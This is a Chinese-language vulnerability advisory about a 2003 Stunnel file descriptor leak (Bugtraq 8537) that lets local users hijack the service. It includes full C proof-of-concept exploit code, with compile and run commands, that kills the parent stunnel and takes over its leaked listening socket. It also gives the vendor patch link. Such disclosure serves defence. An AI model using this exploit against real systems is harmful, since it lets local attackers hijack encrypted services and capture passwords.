首页 -> 安全研究

安全研究

安全漏洞
Stunnel泄露文件描述符漏洞

发布日期:2003-09-03
更新日期:2003-09-10

受影响系统:
Stunnel Stunnel 4.0
Stunnel Stunnel 3.9
Stunnel Stunnel 3.8
Stunnel Stunnel 3.24
Stunnel Stunnel 3.22
Stunnel Stunnel 3.21
Stunnel Stunnel 3.19
Stunnel Stunnel 3.18
Stunnel Stunnel 3.17
Stunnel Stunnel 3.16
Stunnel Stunnel 3.15
Stunnel Stunnel 3.14
Stunnel Stunnel 3.13
Stunnel Stunnel 3.12
Stunnel Stunnel 3.11
Stunnel Stunnel 3.10
Stunnel Stunnel 3.20
    - Debian Linux 3.0
    - FreeBSD 4.5
    - FreeBSD 4.4
    - FreeBSD 4.3
    - Mandrake Linux 8.2
    - Mandrake Linux 8.1
    - Microsoft Windows 98
    - Microsoft Windows 2000
    - OpenBSD 2.9
    - OpenBSD 2.8
    - OpenBSD 2.7
    - OpenBSD 2.6
    - RedHat Linux 7.2
    - RedHat Linux 7.1
    - RedHat Linux 7.0
    - Sun Solaris 8.0
    - Sun Solaris 7.0
不受影响系统:
Stunnel Stunnel 4.03
Stunnel Stunnel 4.02
Stunnel Stunnel 4.01
Stunnel Stunnel 3.26
描述:
BUGTRAQ  ID: 8537

Stunnel是一款允许用户加密任意TCP会话连接的程序,能使非SSL加密应用程序和服务使用SSL加密。

Stunnel存在文件描述符泄露问题,本地攻击者可以利用这个漏洞劫持Stunnel服务程序,可导致未授权连接加密通信等攻击。

问题是由于没有使用CLOEXEC标记的fcntl调用来防止特权文件描述符泄露,通过listen()调用返回的文件描述符可被非特权进程使用。如果Stunnel可被用于通过任何本地程序如telnet等提供SHELL访问,那么用户的SHELL也会拥有被泄露的listen描述符,这表示任何N能通过SHELL访问的用户可以劫持stunnel服务程序。结果可导致非特权攻击者利用这个漏洞控制这个服务,收集密码等敏感信息,或者重定向服务到不同机器中。

另外其他文件描述符也存在这个问题。

<*来源:Steve Grubb (linux_4ever@yahoo.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106260760211958&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Steve Grubb (linux_4ever@yahoo.com)提供了如下测试方法:

编译如下程序:

$(CC) $(CFLAGS) -o $@ leak-sploit.c -lssl

运行POC代码,你可以作为本地程序(-l参数)直接执行:

/usr/sbin/stunnel -s nobody -g nobody -D 7 -p
/etc/ssl/certs/stunnel.pem -o /tmp/stunnel.log -P
/tmp/stunnel.pid -d 2222 -l
/opt/stunnel-sploit/leak-sploit -- leak-sploit

然后使用如下方法连接:

lynx https://localhost:2222

Steve Grubb(linux_4ever@yahoo.com) 提供了如下测试程序:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <openssl/ssl.h>

/*
* The basic scheme goes like this:
*      1) Get rid of the parent
*      2) init the openssl library
*      3) start handling requests
*/

/* You may need to adjust these next 3 items */
#define LISTEN_DESCRIPTOR 6
#define CERTF "/opt/stunnel-sploit/foo-cert.pem"
#define KEYF  "/opt/stunnel-sploit/foo-cert.pem"

static SSL_CTX    *ctx;
static SSL        *ssl;
static X509       *client_cert;
static SSL_METHOD *meth;

static void server_loop(int descr);
static void ssl_init(void);

int main(int argc, char *argv[])
{
    int pid = getppid();

    /* Need to fork so stunnel doesn't kill us */
    if (fork() == 0) {
        /* Become session leader */
        setsid();

        /* Goodbye - thanks for the descriptor */
        kill(pid, SIGUSR2);
        close(0); close(1); close(2);
        ssl_init();
        server_loop(LISTEN_DESCRIPTOR);
    }
    return 0;
}

static void server_loop(int descr)
{
    struct timeval   tv;
    fd_set read_mask ;

    FD_SET(descr, &read_mask);
    for (;;) {
        struct sockaddr_in remote;
        socklen_t len = sizeof(remote);
        int fd;

        if (select(descr+1, &read_mask, NULL, NULL, 0 )
== -1)
            continue;
        fd = accept(descr, &remote, &len);
        if (fd >=0) {
            char obuf[4096];

            if ((ssl = SSL_new (ctx)) != NULL) {
                SSL_set_fd (ssl, fd);
                SSL_set_accept_state(ssl);
                if ((SSL_accept (ssl)) == -1)
                    exit(1);
                strcpy(obuf, "HTTP/1.0 200 OK\n");
                strcat(obuf, "Content-Length: 40\n");
                strcat(obuf, "Content-Type:
text/html\n\n");
                strcat(obuf, "<html><body>You're
owned!</body></html>");
                SSL_write (ssl, obuf, strlen(obuf));
                SSL_set_shutdown(ssl,
SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                SSL_free (ssl);
                ERR_remove_state(0);
            }
            close(fd);
        }
    }
    SSL_CTX_free (ctx);  /* Never gets called */
}

static void ssl_init(void)
{
    SSL_load_error_strings();
    SSLeay_add_ssl_algorithms();
    meth = SSLv23_server_method();
    ctx = SSL_CTX_new (meth);
    if (!ctx)
        exit(1);
    if (SSL_CTX_use_certificate_file(ctx, CERTF,
SSL_FILETYPE_PEM) <= 0)
        exit(1);
    if (SSL_CTX_use_PrivateKey_file(ctx, KEYF,
SSL_FILETYPE_PEM) <= 0)
        exit(1);
    if (!SSL_CTX_check_private_key(ctx))
        exit(1);
}

建议:
厂商补丁:

Stunnel
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Stunnel Upgrade stunnel-4.04.tar.gz
http://www.stunnel.org/download/stunnel/src/stunnel-4.04.tar.gz

浏览次数:9477
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障